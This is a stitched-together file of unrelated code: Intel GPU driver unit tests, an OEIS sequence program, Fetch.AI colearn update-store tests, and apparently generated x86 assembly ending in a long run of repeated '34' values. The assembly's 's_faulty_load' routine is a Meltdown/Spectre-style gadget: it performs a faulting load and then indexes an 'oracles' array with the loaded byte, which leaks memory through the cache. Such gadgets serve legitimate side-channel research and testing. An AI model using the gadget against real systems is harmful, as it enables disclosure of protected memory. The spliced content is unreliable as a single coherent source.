MI_LOAD_REGISTER_IMM = typename FamilyType::MI_LOAD_REGISTER_IMM; std::unique_ptr<uint8_t> buffer(new uint8_t[128]); LinearStream stream(buffer.get(), 128); uint32_t address = 0x8888; uint32_t data = 0x1234; auto expectedLri = FamilyType::cmdInitLoadRegisterImm; EXPECT_FALSE(expectedLri.getMmioRemapEnable()); expectedLri.setRegisterOffset(address); expectedLri.setDataDword(data); expectedLri.setMmioRemapEnable(true); LriHelper<FamilyType>::program(&stream, address, data, true); MI_LOAD_REGISTER_IMM *lri = genCmdCast<MI_LOAD_REGISTER_IMM *>(buffer.get()); ASSERT_NE(nullptr, lri); EXPECT_EQ(sizeof(MI_LOAD_REGISTER_IMM), stream.getUsed()); EXPECT_EQ(lri, stream.getCpuBase()); EXPECT_TRUE(memcmp(lri, &expectedLri, sizeof(MI_LOAD_REGISTER_IMM)) == 0); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, GivenVariousValuesWhenAlignSlmSizeIsCalledThenCorrectValueIsReturned) { EXPECT_EQ(0u, HwHelperHw<FamilyType>::get().alignSlmSize(0)); EXPECT_EQ(1024u, HwHelperHw<FamilyType>::get().alignSlmSize(1)); EXPECT_EQ(1024u, HwHelperHw<FamilyType>::get().alignSlmSize(1024)); EXPECT_EQ(2048u, HwHelperHw<FamilyType>::get().alignSlmSize(1025)); EXPECT_EQ(2048u, HwHelperHw<FamilyType>::get().alignSlmSize(2048)); EXPECT_EQ(4096u, HwHelperHw<FamilyType>::get().alignSlmSize(2049)); EXPECT_EQ(4096u, HwHelperHw<FamilyType>::get().alignSlmSize(4096)); EXPECT_EQ(8192u, HwHelperHw<FamilyType>::get().alignSlmSize(4097)); EXPECT_EQ(8192u, HwHelperHw<FamilyType>::get().alignSlmSize(8192)); EXPECT_EQ(16384u, HwHelperHw<FamilyType>::get().alignSlmSize(8193)); EXPECT_EQ(16384u, HwHelperHw<FamilyType>::get().alignSlmSize(16384)); EXPECT_EQ(32768u, HwHelperHw<FamilyType>::get().alignSlmSize(16385)); EXPECT_EQ(32768u, HwHelperHw<FamilyType>::get().alignSlmSize(32768)); EXPECT_EQ(65536u, HwHelperHw<FamilyType>::get().alignSlmSize(32769)); EXPECT_EQ(65536u, HwHelperHw<FamilyType>::get().alignSlmSize(65536)); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenHwHelperWhenGettingThreadsPerEUConfigsThenCorrectConfigsAreReturned) { auto &helper = HwHelper::get(pDevice->getHardwareInfo().platform.eRenderCoreFamily); EXPECT_NE(nullptr, &helper); auto &configs = helper.getThreadsPerEUConfigs(); EXPECT_EQ(2U, configs.size()); EXPECT_EQ(4U, configs[0]); EXPECT_EQ(8U, configs[1]); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenXeHpCoreHelperWhenCheckDirectSubmissionSupportedThenTrueIsReturned) { HardwareInfo hwInfo = *defaultHwInfo; auto &helper = HwHelper::get(hwInfo.platform.eRenderCoreFamily); const auto &hwInfoConfig = *HwInfoConfig::get(hwInfo.platform.eProductFamily); { hwInfo.platform.usRevId = hwInfoConfig.getHwRevIdFromStepping(REVISION_A0, hwInfo); EXPECT_FALSE(helper.isDirectSubmissionSupported(hwInfo)); } { hwInfo.platform.usRevId = hwInfoConfig.getHwRevIdFromStepping(REVISION_A1, hwInfo); EXPECT_FALSE(helper.isDirectSubmissionSupported(hwInfo)); } { hwInfo.platform.usRevId = hwInfoConfig.getHwRevIdFromStepping(REVISION_B, hwInfo); EXPECT_TRUE(helper.isDirectSubmissionSupported(hwInfo)); } } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, WhenGettingDeviceIpVersionThenMakeCorrectDeviceIpVersion) { EXPECT_EQ(ClHwHelperMock::makeDeviceIpVersion(12, 5, 1), ClHwHelper::get(renderCoreFamily).getDeviceIpVersion(*defaultHwInfo)); } XE_HP_CORE_TEST_F(HwHelperTestXE_HP_CORE, givenXeHpCoreWhenIsBlitterForImagesSupportedIsCalledThenFalseIsReturned) { HardwareInfo hwInfo = *defaultHwInfo; const auto &hwInfoConfig = *HwInfoConfig::get(hwInfo.platform.eProductFamily); EXPECT_FALSE(hwInfoConfig.isBlitterForImagesSupported()); }
; A054612: a(n) = Sum_{d|n} phi(d)*5^(n/d). ; Submitted by Christian Krause ; 0,5,30,135,660,3145,15810,78155,391320,1953405,9768870,48828175,244157820,1220703185,6103593930,30517584915,152588282640,762939453205,3814699250430,19073486328215,95367441415140,476837158360185,2384185839844050,11920928955078235,59604645020345640,298023223876965725,1490116120605469110,7450580596927735215,37252902990722816460,186264514923095703265,931322574646015694490,4656612873077392578275,23283064365539551565280,116415321826934912110725,582076609135437011719230,2910383045673370361659495 mov $2,$0 lpb $0 sub $0,1 mov $3,5 mov $4,$2 gcd $4,$0 pow $3,$4 add $1,$3 lpe mov $0,$1
//------------------------------------------------------------------------------ // // Copyright 2018-2019 Fetch.AI Limited // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //------------------------------------------------------------------------------ #include "core/byte_array/byte_array.hpp" #include "dmlf/colearn/colearn_uri.hpp" #include "dmlf/colearn/update_store.hpp" #include "gtest/gtest.h" #include <chrono> #include <cmath> #include <iomanip> #include <thread> namespace fetch { namespace dmlf { namespace colearn { namespace { using fetch::byte_array::ConstByteArray; ConstByteArray a("a"); ConstByteArray b("b"); ConstByteArray c("c"); ConstByteArray d("d"); ConstByteArray e("e"); ConstByteArray f("f"); const std::string consumer = "consumer"; const std::string consumerb = "consumerb"; using UpdatePtr = UpdateStore::UpdatePtr; auto LifoCriteria = [](UpdatePtr const &u) { return static_cast<double>(std::string(u->data())[0]); }; auto FifoCriteria = [](UpdatePtr const &u) { return -static_cast<double>(std::string(u->data())[0]); }; } // namespace TEST(Colearn_UpdateStore, pushPop) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); auto result = store.GetUpdate("algo", "update"); EXPECT_EQ(result->update_type(), "update"); EXPECT_EQ(result->data(), a); EXPECT_EQ(result->source(), "test"); } TEST(Colearn_UpdateStore, pushPushPopPop) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {}); auto result1 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result2 = store.GetUpdate("algo", "update", LifoCriteria, consumer); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), b); EXPECT_EQ(result1->source(), "test2"); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), a); EXPECT_EQ(result2->source(), "test"); } TEST(Colearn_UpdateStore, pushPushPopPop_defaultCriteria) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); std::this_thread::sleep_for(std::chrono::milliseconds(2)); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {}); auto result1 = store.GetUpdate("algo", "update", consumer); auto result2 = store.GetUpdate("algo", "update", consumer); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), b); EXPECT_EQ(result1->source(), "test2"); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), a); EXPECT_EQ(result2->source(), "test"); } TEST(Colearn_UpdateStore, pushPushPopPushPopPop) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {}); auto result1 = store.GetUpdate("algo", "update", LifoCriteria, consumer); store.PushUpdate("algo", "update", ConstByteArray{c}, "test3", {}); auto result2 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result3 = store.GetUpdate("algo", "update", LifoCriteria, consumer); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), b); EXPECT_EQ(result1->source(), "test2"); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), c); EXPECT_EQ(result2->source(), "test3"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), a); EXPECT_EQ(result3->source(), "test"); } TEST(Colearn_UpdateStore, pushPushPopPushPopPop_TwoConsumersSameCriteria) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {}); auto result1 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result1b = store.GetUpdate("algo", "update", LifoCriteria, consumerb); store.PushUpdate("algo", "update", ConstByteArray{c}, "test3", {}); auto result2 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result2b = store.GetUpdate("algo", "update", LifoCriteria, consumerb); auto result3 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result3b = store.GetUpdate("algo", "update", LifoCriteria, consumerb); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), b); EXPECT_EQ(result1->source(), "test2"); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), c); EXPECT_EQ(result2->source(), "test3"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), a); EXPECT_EQ(result3->source(), "test"); EXPECT_EQ(result1b->update_type(), "update"); EXPECT_EQ(result1b->data(), b); EXPECT_EQ(result1b->source(), "test2"); EXPECT_EQ(result2b->update_type(), "update"); EXPECT_EQ(result2b->data(), c); EXPECT_EQ(result2b->source(), "test3"); EXPECT_EQ(result3b->update_type(), "update"); EXPECT_EQ(result3b->data(), a); EXPECT_EQ(result3b->source(), "test"); } TEST(Colearn_UpdateStore, URI_pushPushPopPushPopPop_TwoConsumersSameCriteria) { UpdateStore store; store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("test"), ConstByteArray{a}, {}); store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("test2"), ConstByteArray{b}, {}); auto result1 = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumer); auto result1b = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumerb); store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("test3"), ConstByteArray{c}, {}); auto result2 = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumer); auto result2b = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumerb); auto result3 = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumer); auto result3b = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumerb); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), b); EXPECT_EQ(result1->source(), "test2"); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), c); EXPECT_EQ(result2->source(), "test3"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), a); EXPECT_EQ(result3->source(), "test"); EXPECT_EQ(result1b->update_type(), "update"); EXPECT_EQ(result1b->data(), b); EXPECT_EQ(result1b->source(), "test2"); EXPECT_EQ(result2b->update_type(), "update"); EXPECT_EQ(result2b->data(), c); EXPECT_EQ(result2b->source(), "test3"); EXPECT_EQ(result3b->update_type(), "update"); EXPECT_EQ(result3b->data(), a); EXPECT_EQ(result3b->source(), "test"); } TEST(Colearn_UpdateStore, pushPushPopPushPopPop_TwoConsumersDiffCriteria) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {}); auto result1 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result1b = store.GetUpdate("algo", "update", FifoCriteria, consumerb); store.PushUpdate("algo", "update", ConstByteArray{c}, "test3", {}); auto result2 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result2b = store.GetUpdate("algo", "update", FifoCriteria, consumerb); auto result3 = store.GetUpdate("algo", "update", LifoCriteria, consumer); auto result3b = store.GetUpdate("algo", "update", FifoCriteria, consumerb); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), b); EXPECT_EQ(result1->source(), "test2"); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), c); EXPECT_EQ(result2->source(), "test3"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), a); EXPECT_EQ(result3->source(), "test"); EXPECT_EQ(result1b->update_type(), "update"); EXPECT_EQ(result1b->data(), a); EXPECT_EQ(result1b->source(), "test"); EXPECT_EQ(result2b->update_type(), "update"); EXPECT_EQ(result2b->data(), b); EXPECT_EQ(result2b->source(), "test2"); EXPECT_EQ(result3b->update_type(), "update"); EXPECT_EQ(result3b->data(), c); EXPECT_EQ(result3b->source(), "test3"); } TEST(Colearn_UpdateStore, pushPushPopPushPopPop_NoConsumer) { const std::string noConsumer; UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {}); auto result1 = store.GetUpdate("algo", "update", LifoCriteria, noConsumer); store.PushUpdate("algo", "update", ConstByteArray{c}, "test3", {}); auto result2 = store.GetUpdate("algo", "update", LifoCriteria, noConsumer); auto result3 = store.GetUpdate("algo", "update", LifoCriteria, noConsumer); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), b); EXPECT_EQ(result1->source(), "test2"); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), c); EXPECT_EQ(result2->source(), "test3"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), c); EXPECT_EQ(result3->source(), "test3"); } TEST(Colearn_UpdateStore, pushPop_repetition) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); EXPECT_EQ(store.GetUpdateCount(), 1); store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); EXPECT_EQ(store.GetUpdateCount(), 1); auto result = store.GetUpdate("algo", "update", LifoCriteria, consumer); EXPECT_EQ(store.GetUpdateCount(), 1); EXPECT_EQ(result->update_type(), "update"); EXPECT_EQ(result->data(), a); EXPECT_EQ(result->source(), "test"); store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); EXPECT_EQ(store.GetUpdateCount(), 1); EXPECT_THROW(store.GetUpdate("algo", "update", LifoCriteria, consumer), std::runtime_error); } TEST(Colearn_UpdateStore, samePushDifferentSources) { UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); EXPECT_EQ(store.GetUpdateCount(), 1); std::this_thread::sleep_for(std::chrono::milliseconds(2)); store.PushUpdate("algo", "update", ConstByteArray{a}, "other", {}); EXPECT_EQ(store.GetUpdateCount(), 2); auto result = store.GetUpdate("algo", "update", consumer); EXPECT_EQ(store.GetUpdateCount(), 2); EXPECT_EQ(result->update_type(), "update"); EXPECT_EQ(result->data(), a); EXPECT_EQ(result->source(), "other"); store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); EXPECT_EQ(store.GetUpdateCount(), 2); store.PushUpdate("algo", "update", ConstByteArray{a}, "other", {}); EXPECT_EQ(store.GetUpdateCount(), 2); result = store.GetUpdate("algo", "update", consumer); EXPECT_EQ(result->update_type(), "update"); EXPECT_EQ(result->data(), a); EXPECT_EQ(result->source(), "test"); } TEST(Colearn_UpdateStore, pushPushPushPopPopPop_SelectSource) { auto LifoSelect = [](UpdatePtr const &update) -> double { if (update->source() != "thinker") { return std::nan(""); } return static_cast<double>(-update->TimeSinceCreation().count()); }; UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {}); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {}); store.PushUpdate("algo", "update", ConstByteArray{c}, "thinker", {}); auto result1 = store.GetUpdate("algo", "update", LifoSelect, consumer); auto resulta = store.GetUpdate("algo", "update", LifoCriteria, consumerb); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), c); EXPECT_EQ(result1->source(), "thinker"); EXPECT_EQ(resulta->update_type(), "update"); EXPECT_EQ(resulta->data(), c); EXPECT_EQ(resulta->source(), "thinker"); store.PushUpdate("algo", "update", ConstByteArray{d}, "thinker", {}); store.PushUpdate("algo", "update", ConstByteArray{e}, "thinker", {}); store.PushUpdate("algo", "update", ConstByteArray{f}, "test", {}); auto result2 = store.GetUpdate("algo", "update", LifoSelect, consumer); auto result3 = store.GetUpdate("algo", "update", LifoSelect, consumer); auto resultb = store.GetUpdate("algo", "update", LifoCriteria, consumerb); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), e); EXPECT_EQ(result2->source(), "thinker"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), d); EXPECT_EQ(result3->source(), "thinker"); EXPECT_EQ(resultb->update_type(), "update"); EXPECT_EQ(resultb->data(), f); EXPECT_EQ(resultb->source(), "test"); EXPECT_THROW(store.GetUpdate("algo", "update", LifoSelect, consumer), std::runtime_error); auto result4 = store.GetUpdate("algo", "update", LifoCriteria, consumer); EXPECT_EQ(result4->update_type(), "update"); EXPECT_EQ(result4->data(), f); EXPECT_EQ(result4->source(), "test"); auto resultc = store.GetUpdate("algo", "update", LifoSelect, consumerb); EXPECT_EQ(resultc->update_type(), "update"); EXPECT_EQ(resultc->data(), e); EXPECT_EQ(resultc->source(), "thinker"); } TEST(Colearn_UpdateStore, pushPushPushPopPopPop_SelectMetadata) { std::string which; auto LifoSelect = [&which](UpdatePtr const &update) -> double { if (update->metadata().at("meta") != which) { return std::nan(""); } return static_cast<double>(-update->TimeSinceCreation().count()); }; UpdateStore store; store.PushUpdate("algo", "update", ConstByteArray{a}, "test", {{"meta", "a"}}); store.PushUpdate("algo", "update", ConstByteArray{b}, "test2", {{"meta", "b"}}); store.PushUpdate("algo", "update", ConstByteArray{c}, "thinker", {{"meta", "c"}}); which = "a"; auto result1 = store.GetUpdate("algo", "update", LifoSelect, consumer); auto resulta = store.GetUpdate("algo", "update", LifoCriteria, consumerb); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), a); EXPECT_EQ(result1->source(), "test"); EXPECT_EQ(resulta->update_type(), "update"); EXPECT_EQ(resulta->data(), c); EXPECT_EQ(resulta->source(), "thinker"); store.PushUpdate("algo", "update", ConstByteArray{d}, "thinker", {{"meta", "d"}}); store.PushUpdate("algo", "update", ConstByteArray{e}, "thinker", {{"meta", "e"}}); store.PushUpdate("algo", "update", ConstByteArray{f}, "test", {{"meta", "f"}}); which = "c"; auto result2 = store.GetUpdate("algo", "update", LifoSelect, consumer); which = "b"; auto result3 = store.GetUpdate("algo", "update", LifoSelect, consumer); auto resultb = store.GetUpdate("algo", "update", LifoCriteria, consumerb); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), c); EXPECT_EQ(result2->source(), "thinker"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), b); EXPECT_EQ(result3->source(), "test2"); EXPECT_EQ(resultb->update_type(), "update"); EXPECT_EQ(resultb->data(), f); EXPECT_EQ(resultb->source(), "test"); EXPECT_THROW(store.GetUpdate("algo", "update", LifoSelect, consumer), std::runtime_error); which = "d"; auto result4 = store.GetUpdate("algo", "update", LifoSelect, consumer); EXPECT_EQ(result4->update_type(), "update"); EXPECT_EQ(result4->data(), d); EXPECT_EQ(result4->source(), "thinker"); which = "f"; EXPECT_THROW(store.GetUpdate("algo", "update", LifoSelect, consumerb), std::runtime_error); which = "a"; auto resultc = store.GetUpdate("algo", "update", LifoSelect, consumerb); EXPECT_EQ(resultc->update_type(), "update"); EXPECT_EQ(resultc->data(), a); EXPECT_EQ(resultc->source(), "test"); } TEST(Colearn_UpdateStore, URI_pushPushPushPopPopPop_SelectMetadata) { std::string which; auto LifoSelect = [&which](UpdatePtr const &update) -> double { if (update->metadata().at("meta") != which) { return std::nan(""); } return static_cast<double>(-update->TimeSinceCreation().count()); }; UpdateStore store; store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("test"), ConstByteArray{a}, {{"meta", "a"}}); store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("test2"), ConstByteArray{b}, {{"meta", "b"}}); store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("thinker"), ConstByteArray{c}, {{"meta", "c"}}); which = "a"; auto result1 = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoSelect, consumer); auto resulta = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumerb); EXPECT_EQ(result1->update_type(), "update"); EXPECT_EQ(result1->data(), a); EXPECT_EQ(result1->source(), "test"); EXPECT_EQ(resulta->update_type(), "update"); EXPECT_EQ(resulta->data(), c); EXPECT_EQ(resulta->source(), "thinker"); store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("thinker"), ConstByteArray{d}, {{"meta", "d"}}); store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("thinker"), ConstByteArray{e}, {{"meta", "e"}}); store.PushUpdate(ColearnURI().algorithm_class("algo").update_type("update").source("test"), ConstByteArray{f}, {{"meta", "f"}}); which = "c"; auto result2 = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoSelect, consumer); which = "b"; auto result3 = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoSelect, consumer); auto resultb = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoCriteria, consumerb); EXPECT_EQ(result2->update_type(), "update"); EXPECT_EQ(result2->data(), c); EXPECT_EQ(result2->source(), "thinker"); EXPECT_EQ(result3->update_type(), "update"); EXPECT_EQ(result3->data(), b); EXPECT_EQ(result3->source(), "test2"); EXPECT_EQ(resultb->update_type(), "update"); EXPECT_EQ(resultb->data(), f); EXPECT_EQ(resultb->source(), "test"); EXPECT_THROW(store.GetUpdate("algo", "update", LifoSelect, consumer), std::runtime_error); which = "d"; auto result4 = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoSelect, consumer); EXPECT_EQ(result4->update_type(), "update"); EXPECT_EQ(result4->data(), d); EXPECT_EQ(result4->source(), "thinker"); which = "f"; EXPECT_THROW(store.GetUpdate("algo", "update", LifoSelect, consumerb), std::runtime_error); which = "a"; auto resultc = store.GetUpdate(ColearnURI().algorithm_class("algo").update_type("update"), LifoSelect, consumerb); EXPECT_EQ(resultc->update_type(), "update"); EXPECT_EQ(resultc->data(), a); EXPECT_EQ(resultc->source(), "test"); } } // namespace colearn } // namespace dmlf } // namespace fetch
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x17450, %rdx nop nop nop nop nop xor %rdi, %rdi movb $0x61, (%rdx) inc %rbp lea addresses_WC_ht+0x1dcd0, %rsi lea addresses_normal_ht+0x19330, %rdi clflush (%rsi) nop nop nop nop add $30458, %rbp mov $26, %rcx rep movsw nop nop nop and %rdx, %rdx lea addresses_normal_ht+0xd6d0, %rsi lea addresses_D_ht+0x1dbd8, %rdi nop nop nop nop xor $9579, %r14 mov $62, %rcx rep movsq nop nop nop nop nop inc %rsi lea addresses_A_ht+0x15cd0, %rdx nop nop dec %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm5 movups %xmm5, (%rdx) nop nop nop nop add %rdx, %rdx lea addresses_WT_ht+0x19950, %rsi lea addresses_WT_ht+0x4cd0, %rdi nop nop nop nop inc %r9 mov $101, %rcx rep movsw nop dec %rbp lea addresses_normal_ht+0x58d0, %r8 clflush (%r8) nop and $57780, %rsi mov $0x6162636465666768, %rdx movq %rdx, (%r8) nop nop nop nop sub %rdx, %rdx lea addresses_WC_ht+0x122d0, %rbp add $39779, %rsi movw $0x6162, (%rbp) nop nop nop nop nop xor %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %rbp push %rbx push %rcx push %rdi push %rdx // Load mov $0xa2f990000000530, %rcx clflush (%rcx) nop nop nop and %rbp, %rbp movb (%rcx), %dl nop nop nop nop cmp %rbp, %rbp // Load lea addresses_normal+0xecd0, %r11 nop nop add %rbx, %rbx mov (%r11), %r10w cmp %r10, %r10 // Store lea addresses_US+0xa948, %rdx nop nop nop nop and %rbp, %rbp movb $0x51, (%rdx) nop nop nop sub %rcx, %rcx // Load lea addresses_RW+0x4910, %r11 nop nop nop nop nop add $19807, %rbx mov (%r11), %rcx dec %rdx // Faulty Load lea addresses_normal+0xecd0, %rdi nop nop nop nop cmp $42608, %r11 movups (%rdi), %xmm3 vpextrq $1, %xmm3, %rbp lea oracles, %rbx and $0xff, %rbp shlq $12, %rbp mov (%rbx,%rbp,1), %rbp pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_US', 'AVXalign': False, 'size': 1}} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_RW', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}} {'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 